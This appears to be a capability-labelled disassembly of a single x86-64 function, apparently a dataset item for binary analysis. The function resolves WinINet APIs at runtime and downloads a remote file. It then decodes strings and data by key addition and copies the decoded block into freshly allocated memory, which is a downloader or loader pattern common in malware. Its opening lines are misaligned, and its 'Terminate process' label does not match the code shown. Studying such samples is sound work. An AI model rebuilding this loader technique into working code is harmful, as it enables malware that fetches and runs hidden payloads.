Function at 0x14001e370
Capabilities:
Terminate process

Disassembly:
movzx r8d, word [r13 + rax*2]
add edx, r8d
sar bh, 1
rol byte [rbp + 0xf], 0xb7
add byte [r13 - 0x7b], r8b
leave
sar bh, 1
rol byte [rbp + 0xf], 0xb7
add byte [r13 - 0x7b], r8b
leave
jne 0x14001e368
cmp edx, dword [rbp + 4]
je 0x14001e38c
cmp edx, dword [rbp + 8]
jne 0x14001e427
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, dword [0x1400450d8]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
mov rcx, qword [str.WININET.DLL]
mov r13, r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
mov rdx, qword [str.InternetOpenA]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
mov rcx, rbp
mov rdx, qword [str.InternetOpenUrlA]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov rcx, rbp
mov rdx, qword [str.InternetReadFile]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rsp
xor r8d, r8d
mov qword [rsp + 0x50], rax
mov edx, 1
xor r9d, r9d
xor eax, eax
mov r10, qword [rsp + 0x40]
mov rcx, qword [str.NETDL1.0]
mov dword [rsp + 0x58], eax
mov dword [rbp + 0x20], eax
call r10
mov rcx, rax
test rcx, rcx
jne 0x14001e42f
mov r10, rsp
xor r8d, r8d
mov rax, qword [rsp + 0x48]
xor r9d, r9d
mov rdx, qword [str.https:__dblp.org_xml_release_dblp_2018_01_01.xml.gz.md5]
mov ebp, dword [0x1400450b0]
mov dword [r10 + 0x20], ebp
mov qword [r10 + 0x28], 0
call rax
mov rbp, rax
test rbp, rbp
je 0x14001e427
mov rcx, rbp
lea r9, [rsp + 0x58]
mov rdx, r14
mov rax, qword [r9 - 8]
mov r8d, dword [0x1400450d8]
call rax
test eax, eax
je 0x14001e4bb
mov qword [rsp + 0x30], rdi
lea rdi, [rsp + 0x58]
mov qword [rsp + 0x38], r12
mov eax, dword [rsp + 0x58]
test eax, eax
jbe 0x14001e4b1
add r13, rax
mov rcx, rbp
mov rdx, r13
mov r9, rdi
mov rax, qword [rsp + 0x50]
mov r8d, dword [0x1400450d8]
call rax
test eax, eax
jne 0x14001e48b
mov rdi, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
cmp r13, r14
je 0x14001e427
mov ebp, dword [r14]
xor eax, eax
mov r8, qword [0x140045060]
mov r9d, dword [r8 + rax]
add r9d, ebp
mov dword [rax + r13], r9d
add rax, 4
cmp rax, 0x14
jl 0x14001e4c9
mov rcx, r15
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001e427
xor ecx, ecx
mov r8d, 0x1000
mov edx, dword [0x1400450d8]
mov r9d, dword [0x140045080]
call rax
mov r8, rax
mov r9d, dword [0x1400450ec]
lea rcx, [r8 + 8]
mov r10, qword [0x1400450f4]
add r9, r10
and rcx, 0xf
mov r10d, dword [r9 + 4]
test ecx, ecx
je 0x14001e561
test cl, 3
jne 0x14001e6eb
neg ecx
xor edx, edx
add ecx, 0x10
shr ecx, 2
mov eax, ecx
mov ebp, dword [r9 + rdx*4 + 8]
add ebp, r10d
mov dword [r8 + rdx*4 + 8], ebp
inc rdx
cmp rdx, rax
jb 0x14001e54a
jmp 0x14001e563
xor eax, eax
mov edx, ecx
lea ecx, [rcx*4 + 8]
neg edx
add edx, 0xe
add rcx, r9
and edx, 0xf
neg edx
lea ebp, [rdx + 0x17fe]
mov r11d, ebp
test rcx, 0xf
je 0x14001e5e7
movd xmm0, r10d
pshufd xmm0, xmm0, 0
nop dword [rax]
lea rcx, [r9 + rax*4 + 8]
movdqu xmm1, xmmword [rcx]
paddd xmm1, xmm0
movdqu xmmword [r8 + rax*4 + 8], xmm1
movdqu xmm2, xmmword [rcx + 0x10]
paddd xmm2, xmm0
movdqu xmmword [r8 + rax*4 + 0x18], xmm2
movdqu xmm3, xmmword [rcx + 0x20]
paddd xmm3, xmm0
movdqu xmmword [r8 + rax*4 + 0x28], xmm3
movdqu xmm4, xmmword [rcx + 0x30]
paddd xmm4, xmm0
movdqu xmmword [r8 + rax*4 + 0x38], xmm4
add rax, 0x10
cmp rax, r11
jb 0x14001e598
jmp 0x14001e645
movd xmm0, r10d
pshufd xmm0, xmm0, 0
nop dword [rax]
lea rcx, [r9 + rax*4 + 8]
movdqu xmm1, xmmword [rcx]
paddd xmm1, xmm0
movdqu xmmword [r8 + rax*4 + 8], xmm1
movdqu xmm2, xmmword [rcx + 0x10]
paddd xmm2, xmm0
movdqu xmmword [r8 + rax*4 + 0x18], xmm2
movdqu xmm3, xmmword [rcx + 0x20]
paddd xmm3, xmm0
movdqu xmmword [r8 + rax*4 + 0x28], xmm3
movdqu xmm4, xmmword [rcx + 0x30]
paddd xmm4, xmm0
movdqu xmmword [r8 + rax*4 + 0x38], xmm4
add rax, 0x10
cmp rax, r11
jb 0x14001e5f8
lea eax, [rdx + 0x17ff]
cmp eax, 0x17fe
xor ebp, ebp
mov ecx, 0x17fe
xor eax, eax
jmp 0x14001e696